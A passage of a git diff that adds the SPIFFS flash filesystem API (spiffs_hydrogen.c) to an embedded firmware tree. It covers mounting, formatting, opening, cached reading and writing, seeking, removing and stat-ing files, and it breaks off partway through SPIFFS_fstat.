SPIFFS_OBJ_ID_IX_FLAG, 0, gc.cur_objix_pix, &new_objix_pix); + SPIFFS_GC_DBG("gc_clean: MOVE_DATA store modified objix page, "_SPIPRIpg":"_SPIPRIsp"\n", new_objix_pix, objix->p_hdr.span_ix); + SPIFFS_CHECK_RES(res); + spiffs_cb_object_event(fs, (spiffs_page_object_ix *)fs->work, + SPIFFS_EV_IX_UPD, gc.cur_obj_id, objix->p_hdr.span_ix, new_objix_pix, 0); + } + } + break; + case MOVE_OBJ_IX: + // scanned thru all block, no more object indices found - our work here is done + gc.state = FINISHED; + break; + default: + cur_entry = 0; + break; + } // switch gc.state + SPIFFS_GC_DBG("gc_clean: state-> "_SPIPRIi"\n", gc.state); + } // while state != FINISHED + + + return res; +} + +#endif // !SPIFFS_READ_ONLY diff --git a/armsrc/spiffs_hydrogen.c b/armsrc/spiffs_hydrogen.c new file mode 100644 index 000000000..7290e676a --- /dev/null +++ b/armsrc/spiffs_hydrogen.c @@ -0,0 +1,1466 @@ +/* + * spiffs_hydrogen.c + * + * Created on: Jun 16, 2013 + * Author: petera + */ + +#include "spiffs.h" +#include "spiffs_nucleus.h" +#include "printf.h" + +#if SPIFFS_CACHE == 1 +static s32_t spiffs_fflush_cache(spiffs *fs, spiffs_file fh); +#endif + +#if SPIFFS_BUFFER_HELP +u32_t SPIFFS_buffer_bytes_for_filedescs(spiffs *fs, u32_t num_descs) { + return num_descs * sizeof(spiffs_fd); +} +#if SPIFFS_CACHE +u32_t SPIFFS_buffer_bytes_for_cache(spiffs *fs, u32_t num_pages) { + return sizeof(spiffs_cache) + num_pages * (sizeof(spiffs_cache_page) + SPIFFS_CFG_LOG_PAGE_SZ(fs)); +} +#endif +#endif + +u8_t SPIFFS_mounted(spiffs *fs) { + return SPIFFS_CHECK_MOUNT(fs); +} + +s32_t SPIFFS_format(spiffs *fs) { +#if SPIFFS_READ_ONLY + (void)fs; + return SPIFFS_ERR_RO_NOT_IMPL; +#else + SPIFFS_API_CHECK_CFG(fs); + if (SPIFFS_CHECK_MOUNT(fs)) { + fs->err_code = SPIFFS_ERR_MOUNTED; + return -1; + } + + s32_t res; + SPIFFS_LOCK(fs); + + spiffs_block_ix bix = 0; + while (bix < fs->block_count) { + fs->max_erase_count = 0; + res = spiffs_erase_block(fs, bix); + if (res != SPIFFS_OK) { + res = SPIFFS_ERR_ERASE_FAIL; + } + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + bix++; + } + + SPIFFS_UNLOCK(fs); + + return 0; +#endif // SPIFFS_READ_ONLY +} + +#if SPIFFS_USE_MAGIC && SPIFFS_USE_MAGIC_LENGTH && SPIFFS_SINGLETON==0 + +s32_t SPIFFS_probe_fs(spiffs_config *config) { + SPIFFS_API_DBG("%s\n", __func__); + s32_t res = spiffs_probe(config); + return res; +} + +#endif // SPIFFS_USE_MAGIC && SPIFFS_USE_MAGIC_LENGTH && SPIFFS_SINGLETON==0 + +s32_t SPIFFS_mount(spiffs *fs, spiffs_config *config, u8_t *work, + u8_t *fd_space, u32_t fd_space_size, + void *cache, u32_t cache_size, + spiffs_check_callback check_cb_f) { + SPIFFS_API_DBG("%s " + " sz:"_SPIPRIi " logpgsz:"_SPIPRIi " logblksz:"_SPIPRIi " perasz:"_SPIPRIi + " addr:"_SPIPRIad + " fdsz:"_SPIPRIi " cachesz:"_SPIPRIi + "\n", + __func__, + SPIFFS_CFG_PHYS_SZ(fs), + SPIFFS_CFG_LOG_PAGE_SZ(fs), + SPIFFS_CFG_LOG_BLOCK_SZ(fs), + SPIFFS_CFG_PHYS_ERASE_SZ(fs), + SPIFFS_CFG_PHYS_ADDR(fs), + fd_space_size, cache_size); + void *user_data; + SPIFFS_LOCK(fs); + user_data = fs->user_data; + memset(fs, 0, sizeof(spiffs)); + _SPIFFS_MEMCPY(&fs->cfg, config, sizeof(spiffs_config)); + fs->user_data = user_data; + fs->block_count = SPIFFS_CFG_PHYS_SZ(fs) / SPIFFS_CFG_LOG_BLOCK_SZ(fs); + fs->work = &work[0]; + fs->lu_work = &work[SPIFFS_CFG_LOG_PAGE_SZ(fs)]; + memset(fd_space, 0, fd_space_size); + // align fd_space pointer to pointer size byte boundary + u8_t ptr_size = sizeof(void *); + u8_t addr_lsb = ((u8_t)(intptr_t)fd_space) & (ptr_size - 1); + if (addr_lsb) { + fd_space += (ptr_size - addr_lsb); + fd_space_size -= (ptr_size - addr_lsb); + } + fs->fd_space = fd_space; + fs->fd_count = (fd_space_size / sizeof(spiffs_fd)); + + // align cache pointer to 4 byte boundary + addr_lsb = ((u8_t)(intptr_t)cache) & (ptr_size - 1); + if (addr_lsb) { + u8_t *cache_8 = (u8_t *)cache; + cache_8 += (ptr_size - addr_lsb); + cache = cache_8; + cache_size -= (ptr_size - addr_lsb); + } + if (cache_size & (ptr_size - 1)) { + cache_size -= (cache_size & (ptr_size - 1)); + } + +#if SPIFFS_CACHE + fs->cache = cache; + fs->cache_size = (cache_size > (SPIFFS_CFG_LOG_PAGE_SZ(fs) * 32)) ? SPIFFS_CFG_LOG_PAGE_SZ(fs) * 32 : cache_size; + spiffs_cache_init(fs); +#endif + + s32_t res; + +#if SPIFFS_USE_MAGIC + res = SPIFFS_CHECK_MAGIC_POSSIBLE(fs) ? SPIFFS_OK : SPIFFS_ERR_MAGIC_NOT_POSSIBLE; + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); +#endif + + fs->config_magic = SPIFFS_CONFIG_MAGIC; + + res = spiffs_obj_lu_scan(fs); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + SPIFFS_DBG("page index byte len: "_SPIPRIi"\n", (u32_t)SPIFFS_CFG_LOG_PAGE_SZ(fs)); + SPIFFS_DBG("object lookup pages: "_SPIPRIi"\n", (u32_t)SPIFFS_OBJ_LOOKUP_PAGES(fs)); + SPIFFS_DBG("page pages per block: "_SPIPRIi"\n", (u32_t)SPIFFS_PAGES_PER_BLOCK(fs)); + SPIFFS_DBG("page header length: "_SPIPRIi"\n", (u32_t)sizeof(spiffs_page_header)); + SPIFFS_DBG("object header index entries: "_SPIPRIi"\n", (u32_t)SPIFFS_OBJ_HDR_IX_LEN(fs)); + SPIFFS_DBG("object index entries: "_SPIPRIi"\n", (u32_t)SPIFFS_OBJ_IX_LEN(fs)); + SPIFFS_DBG("available file descriptors: "_SPIPRIi"\n", (u32_t)fs->fd_count); + SPIFFS_DBG("free blocks: "_SPIPRIi"\n", (u32_t)fs->free_blocks); + + fs->check_cb_f = check_cb_f; + + fs->mounted = 1; + + SPIFFS_UNLOCK(fs); + + return 0; +} + +void SPIFFS_unmount(spiffs *fs) { + SPIFFS_API_DBG("%s\n", __func__); + if (!SPIFFS_CHECK_CFG(fs) || !SPIFFS_CHECK_MOUNT(fs)) return; + SPIFFS_LOCK(fs); + u32_t i; + spiffs_fd *fds = (spiffs_fd *)fs->fd_space; + for (i = 0; i < fs->fd_count; i++) { + spiffs_fd *cur_fd = &fds[i]; + if (cur_fd->file_nbr != 0) { +#if SPIFFS_CACHE + (void)spiffs_fflush_cache(fs, cur_fd->file_nbr); +#endif + spiffs_fd_return(fs, cur_fd->file_nbr); + } + } + fs->mounted = 0; + + SPIFFS_UNLOCK(fs); +} + +s32_t SPIFFS_errno(spiffs *fs) { + return fs->err_code; +} + +void SPIFFS_clearerr(spiffs *fs) { + SPIFFS_API_DBG("%s\n", __func__); + fs->err_code = SPIFFS_OK; +} + +s32_t SPIFFS_creat(spiffs *fs, const char *path, spiffs_mode mode) { + SPIFFS_API_DBG("%s '%s'\n", __func__, path); +#if SPIFFS_READ_ONLY + (void)fs; + (void)path; + (void)mode; + return SPIFFS_ERR_RO_NOT_IMPL; +#else + (void)mode; + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + if (strlen(path) > SPIFFS_OBJ_NAME_LEN - 1) { + SPIFFS_API_CHECK_RES(fs, SPIFFS_ERR_NAME_TOO_LONG); + } + SPIFFS_LOCK(fs); + spiffs_obj_id obj_id; + s32_t res; + + res = spiffs_obj_lu_find_free_obj_id(fs, &obj_id, (const u8_t *)path); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + res = spiffs_object_create(fs, obj_id, (const u8_t *)path, 0, SPIFFS_TYPE_FILE, 0); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + SPIFFS_UNLOCK(fs); + return 0; +#endif // SPIFFS_READ_ONLY +} + +spiffs_file SPIFFS_open(spiffs *fs, const char *path, spiffs_flags flags, spiffs_mode mode) { + SPIFFS_API_DBG("%s '%s' "_SPIPRIfl "\n", __func__, path, flags); + (void)mode; + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + if (strlen(path) > SPIFFS_OBJ_NAME_LEN - 1) { + SPIFFS_API_CHECK_RES(fs, SPIFFS_ERR_NAME_TOO_LONG); + } + SPIFFS_LOCK(fs); + + spiffs_fd *fd; + spiffs_page_ix pix; + +#if SPIFFS_READ_ONLY + // not valid flags in read only mode + flags &= ~(SPIFFS_WRONLY | SPIFFS_CREAT | SPIFFS_TRUNC); +#endif // SPIFFS_READ_ONLY + + s32_t res = spiffs_fd_find_new(fs, &fd, path); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + res = spiffs_object_find_object_index_header_by_name(fs, (const u8_t *)path, &pix); + if ((flags & SPIFFS_O_CREAT) == 0) { + if (res < SPIFFS_OK) { + spiffs_fd_return(fs, fd->file_nbr); + } + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + } + + if (res == SPIFFS_OK && + (flags & (SPIFFS_O_CREAT | SPIFFS_O_EXCL)) == (SPIFFS_O_CREAT | SPIFFS_O_EXCL)) { + // creat and excl and file exists - fail + res = SPIFFS_ERR_FILE_EXISTS; + spiffs_fd_return(fs, fd->file_nbr); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + } + + if ((flags & SPIFFS_O_CREAT) && res == SPIFFS_ERR_NOT_FOUND) { +#if !SPIFFS_READ_ONLY + spiffs_obj_id obj_id; + // no need to enter conflicting name here, already looked for it above + res = spiffs_obj_lu_find_free_obj_id(fs, &obj_id, 0); + if (res < SPIFFS_OK) { + spiffs_fd_return(fs, fd->file_nbr); + } + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + res = spiffs_object_create(fs, obj_id, (const u8_t *)path, 0, SPIFFS_TYPE_FILE, &pix); + if (res < SPIFFS_OK) { + spiffs_fd_return(fs, fd->file_nbr); + } + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + flags &= ~SPIFFS_O_TRUNC; +#endif // !SPIFFS_READ_ONLY + } else { + if (res < SPIFFS_OK) { + spiffs_fd_return(fs, fd->file_nbr); + } + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + } + res = spiffs_object_open_by_page(fs, pix, fd, flags, mode); + if (res < SPIFFS_OK) { + spiffs_fd_return(fs, fd->file_nbr); + } + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); +#if !SPIFFS_READ_ONLY + if (flags & SPIFFS_O_TRUNC) { + res = spiffs_object_truncate(fd, 0, 0); + if (res < SPIFFS_OK) { + spiffs_fd_return(fs, fd->file_nbr); + } + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + } +#endif // !SPIFFS_READ_ONLY + + fd->fdoffset = 0; + + SPIFFS_UNLOCK(fs); + + return SPIFFS_FH_OFFS(fs, fd->file_nbr); +} + +spiffs_file SPIFFS_open_by_dirent(spiffs *fs, struct spiffs_dirent *e, spiffs_flags flags, spiffs_mode mode) { + SPIFFS_API_DBG("%s '%s':"_SPIPRIid " "_SPIPRIfl "\n", __func__, e->name, e->obj_id, flags); + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + SPIFFS_LOCK(fs); + + spiffs_fd *fd; + + s32_t res = spiffs_fd_find_new(fs, &fd, 0); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + res = spiffs_object_open_by_page(fs, e->pix, fd, flags, mode); + if (res < SPIFFS_OK) { + spiffs_fd_return(fs, fd->file_nbr); + } + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); +#if !SPIFFS_READ_ONLY + if (flags & SPIFFS_O_TRUNC) { + res = spiffs_object_truncate(fd, 0, 0); + if (res < SPIFFS_OK) { + spiffs_fd_return(fs, fd->file_nbr); + } + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + } +#endif // !SPIFFS_READ_ONLY + + fd->fdoffset = 0; + + SPIFFS_UNLOCK(fs); + + return SPIFFS_FH_OFFS(fs, fd->file_nbr); +} + +spiffs_file SPIFFS_open_by_page(spiffs *fs, spiffs_page_ix page_ix, spiffs_flags flags, spiffs_mode mode) { + SPIFFS_API_DBG("%s "_SPIPRIpg " "_SPIPRIfl "\n", __func__, page_ix, flags); + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + SPIFFS_LOCK(fs); + + spiffs_fd *fd; + + s32_t res = spiffs_fd_find_new(fs, &fd, 0); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + if (SPIFFS_IS_LOOKUP_PAGE(fs, page_ix)) { + res = SPIFFS_ERR_NOT_A_FILE; + spiffs_fd_return(fs, fd->file_nbr); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + } + + res = spiffs_object_open_by_page(fs, page_ix, fd, flags, mode); + if (res == SPIFFS_ERR_IS_FREE || + res == SPIFFS_ERR_DELETED || + res == SPIFFS_ERR_NOT_FINALIZED || + res == SPIFFS_ERR_NOT_INDEX || + res == SPIFFS_ERR_INDEX_SPAN_MISMATCH) { + res = SPIFFS_ERR_NOT_A_FILE; + } + if (res < SPIFFS_OK) { + spiffs_fd_return(fs, fd->file_nbr); + } + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + +#if !SPIFFS_READ_ONLY + if (flags & SPIFFS_O_TRUNC) { + res = spiffs_object_truncate(fd, 0, 0); + if (res < SPIFFS_OK) { + spiffs_fd_return(fs, fd->file_nbr); + } + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + } +#endif // !SPIFFS_READ_ONLY + + fd->fdoffset = 0; + + SPIFFS_UNLOCK(fs); + + return SPIFFS_FH_OFFS(fs, fd->file_nbr); +} + +static s32_t spiffs_hydro_read(spiffs *fs, spiffs_file fh, void *buf, s32_t len) { + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + SPIFFS_LOCK(fs); + + spiffs_fd *fd; + s32_t res; + + fh = SPIFFS_FH_UNOFFS(fs, fh); + res = spiffs_fd_get(fs, fh, &fd); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + if ((fd->flags & SPIFFS_O_RDONLY) == 0) { + res = SPIFFS_ERR_NOT_READABLE; + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + } + + if (fd->size == SPIFFS_UNDEFINED_LEN && len > 0) { + // special case for zero sized files + res = SPIFFS_ERR_END_OF_OBJECT; + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + } + +#if SPIFFS_CACHE_WR + spiffs_fflush_cache(fs, fh); +#endif + + if (fd->fdoffset + len >= fd->size) { + // reading beyond file size + s32_t avail = fd->size - fd->fdoffset; + if (avail <= 0) { + SPIFFS_API_CHECK_RES_UNLOCK(fs, SPIFFS_ERR_END_OF_OBJECT); + } + res = spiffs_object_read(fd, fd->fdoffset, avail, (u8_t *)buf); + if (res == SPIFFS_ERR_END_OF_OBJECT) { + fd->fdoffset += avail; + SPIFFS_UNLOCK(fs); + return avail; + } else { + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + len = avail; + } + } else { + // reading within file size + res = spiffs_object_read(fd, fd->fdoffset, len, (u8_t *)buf); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + } + fd->fdoffset += len; + + SPIFFS_UNLOCK(fs); + + return len; +} + +s32_t SPIFFS_read(spiffs *fs, spiffs_file fh, void *buf, s32_t len) { + SPIFFS_API_DBG("%s "_SPIPRIfd " "_SPIPRIi "\n", __func__, fh, len); + s32_t res = spiffs_hydro_read(fs, fh, buf, len); + if (res == SPIFFS_ERR_END_OF_OBJECT) { + res = 0; + } + return res; +} + + +#if !SPIFFS_READ_ONLY +static s32_t spiffs_hydro_write(spiffs *fs, spiffs_fd *fd, void *buf, u32_t offset, s32_t len) { + (void)fs; + s32_t res = SPIFFS_OK; + s32_t remaining = len; + if (fd->size != SPIFFS_UNDEFINED_LEN && offset < fd->size) { + s32_t m_len = MIN((s32_t)(fd->size - offset), len); + res = spiffs_object_modify(fd, offset, (u8_t *)buf, m_len); + SPIFFS_CHECK_RES(res); + remaining -= m_len; + u8_t *buf_8 = (u8_t *)buf; + buf_8 += m_len; + buf = buf_8; + offset += m_len; + } + if (remaining > 0) { + res = spiffs_object_append(fd, offset, (u8_t *)buf, remaining); + SPIFFS_CHECK_RES(res); + } + return len; + +} +#endif // !SPIFFS_READ_ONLY + +s32_t SPIFFS_write(spiffs *fs, spiffs_file fh, void *buf, s32_t len) { + SPIFFS_API_DBG("%s "_SPIPRIfd " "_SPIPRIi "\n", __func__, fh, len); +#if SPIFFS_READ_ONLY + (void)fs; + (void)fh; + (void)buf; + (void)len; + return SPIFFS_ERR_RO_NOT_IMPL; +#else + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + SPIFFS_LOCK(fs); + + spiffs_fd *fd; + s32_t res; + u32_t offset; + + fh = SPIFFS_FH_UNOFFS(fs, fh); + res = spiffs_fd_get(fs, fh, &fd); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + if ((fd->flags & SPIFFS_O_WRONLY) == 0) { + res = SPIFFS_ERR_NOT_WRITABLE; + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + } + + if ((fd->flags & SPIFFS_O_APPEND)) { + fd->fdoffset = fd->size == SPIFFS_UNDEFINED_LEN ? 0 : fd->size; + } + offset = fd->fdoffset; + +#if SPIFFS_CACHE_WR + if (fd->cache_page == 0) { + // see if object id is associated with cache already + fd->cache_page = spiffs_cache_page_get_by_fd(fs, fd); + } +#endif + if (fd->flags & SPIFFS_O_APPEND) { + if (fd->size == SPIFFS_UNDEFINED_LEN) { + offset = 0; + } else { + offset = fd->size; + } +#if SPIFFS_CACHE_WR + if (fd->cache_page) { + offset = MAX(offset, fd->cache_page->ucache.swrc.offset + fd->cache_page->ucache.swrc.size); + } +#endif + } + +#if SPIFFS_CACHE_WR + if ((fd->flags & SPIFFS_O_DIRECT) == 0) { + if (len < (s32_t)SPIFFS_CFG_LOG_PAGE_SZ(fs)) { + // small write, try to cache it + u8_t alloc_cpage = 1; + if (fd->cache_page) { + // have a cached page for this fd already, check cache page boundaries + if (offset < fd->cache_page->ucache.swrc.offset || // writing before cache + offset > fd->cache_page->ucache.swrc.offset + fd->cache_page->ucache.swrc.size || // writing after cache + offset + len > fd->cache_page->ucache.swrc.offset + SPIFFS_CFG_LOG_PAGE_SZ(fs)) { // writing beyond cache page + // boundary violation, write back cache first and allocate new + SPIFFS_CACHE_DBG("CACHE_WR_DUMP: dumping cache page "_SPIPRIi" for fd "_SPIPRIfd":"_SPIPRIid", boundary viol, offs:"_SPIPRIi" size:"_SPIPRIi"\n", + fd->cache_page->ix, fd->file_nbr, fd->obj_id, fd->cache_page->ucache.swrc.offset, fd->cache_page->ucache.swrc.size); + res = spiffs_hydro_write(fs, fd, + spiffs_get_cache_page(fs, spiffs_get_cache(fs), fd->cache_page->ix), + fd->cache_page->ucache.swrc.offset, fd->cache_page->ucache.swrc.size); + spiffs_cache_fd_release(fs, fd->cache_page); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + } else { + // writing within cache + alloc_cpage = 0; + } + } + + if (alloc_cpage) { + fd->cache_page = spiffs_cache_page_allocate_by_fd(fs, fd); + if (fd->cache_page) { + fd->cache_page->ucache.swrc.offset = offset; + fd->cache_page->ucache.swrc.size = 0; + SPIFFS_CACHE_DBG("CACHE_WR_ALLO: allocating cache page "_SPIPRIi" for fd "_SPIPRIfd":"_SPIPRIid"\n", + fd->cache_page->ix, fd->file_nbr, fd->obj_id); + } + } + + if (fd->cache_page) { + u32_t offset_in_cpage = offset - fd->cache_page->ucache.swrc.offset; + SPIFFS_CACHE_DBG("CACHE_WR_WRITE: storing to cache page "_SPIPRIi" for fd "_SPIPRIfd":"_SPIPRIid", offs "_SPIPRIi":"_SPIPRIi" len "_SPIPRIi"\n", + fd->cache_page->ix, fd->file_nbr, fd->obj_id, + offset, offset_in_cpage, len); + spiffs_cache *cache = spiffs_get_cache(fs); + u8_t *cpage_data = spiffs_get_cache_page(fs, cache, fd->cache_page->ix); +#ifdef _SPIFFS_TEST + { + intptr_t __a1 = (u8_t *)&cpage_data[offset_in_cpage] - (u8_t *)cache; + intptr_t __a2 = (u8_t *)&cpage_data[offset_in_cpage] + len - (u8_t *)cache; + intptr_t __b = sizeof(spiffs_cache) + cache->cpage_count * (sizeof(spiffs_cache_page) + SPIFFS_CFG_LOG_PAGE_SZ(fs)); + if (__a1 > __b || __a2 > __b) { + printf("FATAL OOB: CACHE_WR: memcpy to cache buffer ixs:%4ld..%4ld of %4ld\n", __a1, __a2, __b); + ERREXIT(); + } + } +#endif + _SPIFFS_MEMCPY(&cpage_data[offset_in_cpage], buf, len); + fd->cache_page->ucache.swrc.size = MAX(fd->cache_page->ucache.swrc.size, offset_in_cpage + len); + fd->fdoffset += len; + SPIFFS_UNLOCK(fs); + return len; + } else { + res = spiffs_hydro_write(fs, fd, buf, offset, len); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + fd->fdoffset += len; + SPIFFS_UNLOCK(fs); + return res; + } + } else { + // big write, no need to cache it - but first check if there is a cached write already + if (fd->cache_page) { + // write back cache first + SPIFFS_CACHE_DBG("CACHE_WR_DUMP: dumping cache page "_SPIPRIi" for fd "_SPIPRIfd":"_SPIPRIid", big write, offs:"_SPIPRIi" size:"_SPIPRIi"\n", + fd->cache_page->ix, fd->file_nbr, fd->obj_id, fd->cache_page->ucache.swrc.offset, fd->cache_page->ucache.swrc.size); + res = spiffs_hydro_write(fs, fd, + spiffs_get_cache_page(fs, spiffs_get_cache(fs), fd->cache_page->ix), + fd->cache_page->ucache.swrc.offset, fd->cache_page->ucache.swrc.size); + spiffs_cache_fd_release(fs, fd->cache_page); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + // data written below + } + } + } +#endif + + res = spiffs_hydro_write(fs, fd, buf, offset, len); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + fd->fdoffset += len; + + SPIFFS_UNLOCK(fs); + + return res; +#endif // SPIFFS_READ_ONLY +} + +s32_t SPIFFS_lseek(spiffs *fs, spiffs_file fh, s32_t offs, int whence) { + SPIFFS_API_DBG("%s "_SPIPRIfd " "_SPIPRIi " %s\n", __func__, fh, offs, (const char *[]) {"SET", "CUR", "END", "???"}[MIN(whence, 3)]); + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + SPIFFS_LOCK(fs); + + spiffs_fd *fd; + s32_t res; + fh = SPIFFS_FH_UNOFFS(fs, fh); + res = spiffs_fd_get(fs, fh, &fd); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + +#if SPIFFS_CACHE_WR + spiffs_fflush_cache(fs, fh); +#endif + + s32_t file_size = fd->size == SPIFFS_UNDEFINED_LEN ? 0 : fd->size; + + switch (whence) { + case SPIFFS_SEEK_CUR: + offs = fd->fdoffset + offs; + break; + case SPIFFS_SEEK_END: + offs = file_size + offs; + break; + } + if (offs < 0) { + SPIFFS_API_CHECK_RES_UNLOCK(fs, SPIFFS_ERR_SEEK_BOUNDS); + } + if (offs > file_size) { + fd->fdoffset = file_size; + res = SPIFFS_ERR_END_OF_OBJECT; + } + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + spiffs_span_ix data_spix = (offs > 0 ? (offs - 1) : 0) / SPIFFS_DATA_PAGE_SIZE(fs); + spiffs_span_ix objix_spix = SPIFFS_OBJ_IX_ENTRY_SPAN_IX(fs, data_spix); + if (fd->cursor_objix_spix != objix_spix) { + spiffs_page_ix pix; + res = spiffs_obj_lu_find_id_and_span( + fs, fd->obj_id | SPIFFS_OBJ_ID_IX_FLAG, objix_spix, 0, &pix); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + fd->cursor_objix_spix = objix_spix; + fd->cursor_objix_pix = pix; + } + fd->fdoffset = offs; + + SPIFFS_UNLOCK(fs); + + return offs; +} + +s32_t SPIFFS_remove(spiffs *fs, const char *path) { + SPIFFS_API_DBG("%s '%s'\n", __func__, path); +#if SPIFFS_READ_ONLY + (void)fs; + (void)path; + return SPIFFS_ERR_RO_NOT_IMPL; +#else + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + if (strlen(path) > SPIFFS_OBJ_NAME_LEN - 1) { + SPIFFS_API_CHECK_RES(fs, SPIFFS_ERR_NAME_TOO_LONG); + } + SPIFFS_LOCK(fs); + + spiffs_fd *fd; + spiffs_page_ix pix; + s32_t res; + + res = spiffs_fd_find_new(fs, &fd, 0); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + res = spiffs_object_find_object_index_header_by_name(fs, (const u8_t *)path, &pix); + if (res != SPIFFS_OK) { + spiffs_fd_return(fs, fd->file_nbr); + } + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + res = spiffs_object_open_by_page(fs, pix, fd, 0, 0); + if (res != SPIFFS_OK) { + spiffs_fd_return(fs, fd->file_nbr); + } + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + res = spiffs_object_truncate(fd, 0, 1); + if (res != SPIFFS_OK) { + spiffs_fd_return(fs, fd->file_nbr); + } + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + SPIFFS_UNLOCK(fs); + return 0; +#endif // SPIFFS_READ_ONLY +} + +s32_t SPIFFS_fremove(spiffs *fs, spiffs_file fh) { + SPIFFS_API_DBG("%s "_SPIPRIfd "\n", __func__, fh); +#if SPIFFS_READ_ONLY + (void)fs; + (void)fh; + return SPIFFS_ERR_RO_NOT_IMPL; +#else + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + SPIFFS_LOCK(fs); + + spiffs_fd *fd; + s32_t res; + fh = SPIFFS_FH_UNOFFS(fs, fh); + res = spiffs_fd_get(fs, fh, &fd); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + if ((fd->flags & SPIFFS_O_WRONLY) == 0) { + res = SPIFFS_ERR_NOT_WRITABLE; + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + } + +#if SPIFFS_CACHE_WR + spiffs_cache_fd_release(fs, fd->cache_page); +#endif + + res = spiffs_object_truncate(fd, 0, 1); + + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + SPIFFS_UNLOCK(fs); + + return 0; +#endif // SPIFFS_READ_ONLY +} + +static s32_t spiffs_stat_pix(spiffs *fs, spiffs_page_ix pix, spiffs_file fh, spiffs_stat *s) { + (void)fh; + spiffs_page_object_ix_header objix_hdr; + spiffs_obj_id obj_id; + s32_t res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_IX | SPIFFS_OP_C_READ, fh, + SPIFFS_PAGE_TO_PADDR(fs, pix), sizeof(spiffs_page_object_ix_header), (u8_t *)&objix_hdr); + SPIFFS_API_CHECK_RES(fs, res); + + u32_t obj_id_addr = SPIFFS_BLOCK_TO_PADDR(fs, SPIFFS_BLOCK_FOR_PAGE(fs, pix)) + + SPIFFS_OBJ_LOOKUP_ENTRY_FOR_PAGE(fs, pix) * sizeof(spiffs_obj_id); + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU | SPIFFS_OP_C_READ, fh, + obj_id_addr, sizeof(spiffs_obj_id), (u8_t *)&obj_id); + SPIFFS_API_CHECK_RES(fs, res); + + s->obj_id = obj_id & ~SPIFFS_OBJ_ID_IX_FLAG; + s->type = objix_hdr.type; + s->size = objix_hdr.size == SPIFFS_UNDEFINED_LEN ? 0 : objix_hdr.size; + s->pix = pix; + strncpy((char *)s->name, (char *)objix_hdr.name, SPIFFS_OBJ_NAME_LEN - 1); +#if SPIFFS_OBJ_META_LEN + _SPIFFS_MEMCPY(s->meta, objix_hdr.meta, SPIFFS_OBJ_META_LEN); +#endif + + return res; +} + +s32_t SPIFFS_stat(spiffs *fs, const char *path, spiffs_stat *s) { + SPIFFS_API_DBG("%s '%s'\n", __func__, path); + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + if (strlen(path) > SPIFFS_OBJ_NAME_LEN - 1) { + SPIFFS_API_CHECK_RES(fs, SPIFFS_ERR_NAME_TOO_LONG); + } + SPIFFS_LOCK(fs); + + s32_t res; + spiffs_page_ix pix; + + res = spiffs_object_find_object_index_header_by_name(fs, (const u8_t *)path, &pix); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + + res = spiffs_stat_pix(fs, pix, 0, s); + + SPIFFS_UNLOCK(fs); + + return res; +} + +s32_t SPIFFS_fstat(spiffs *fs, spiffs_file fh, spiffs_stat *s) { + SPIFFS_API_DBG("%s "_SPIPRIfd "\n", __func__, fh); + SPIFFS_API_CHECK_CFG(fs); + SPIFFS_API_CHECK_MOUNT(fs); + SPIFFS_LOCK(fs); + + spiffs_fd *fd; + s32_t res; + + fh = SPIFFS_FH_UNOFFS(fs, fh); + res = spiffs_fd_get(fs, fh, &fd); + SPIFFS_API_CHECK_RES_UNLOCK(fs, res); + +#if SPIFFS_CACHE_WR + spiffs_fflush_cache(fs, fh); +#endif + + res = spiffs_stat_pix(fs, fd->objix_hdr_pix, fh, s); + + 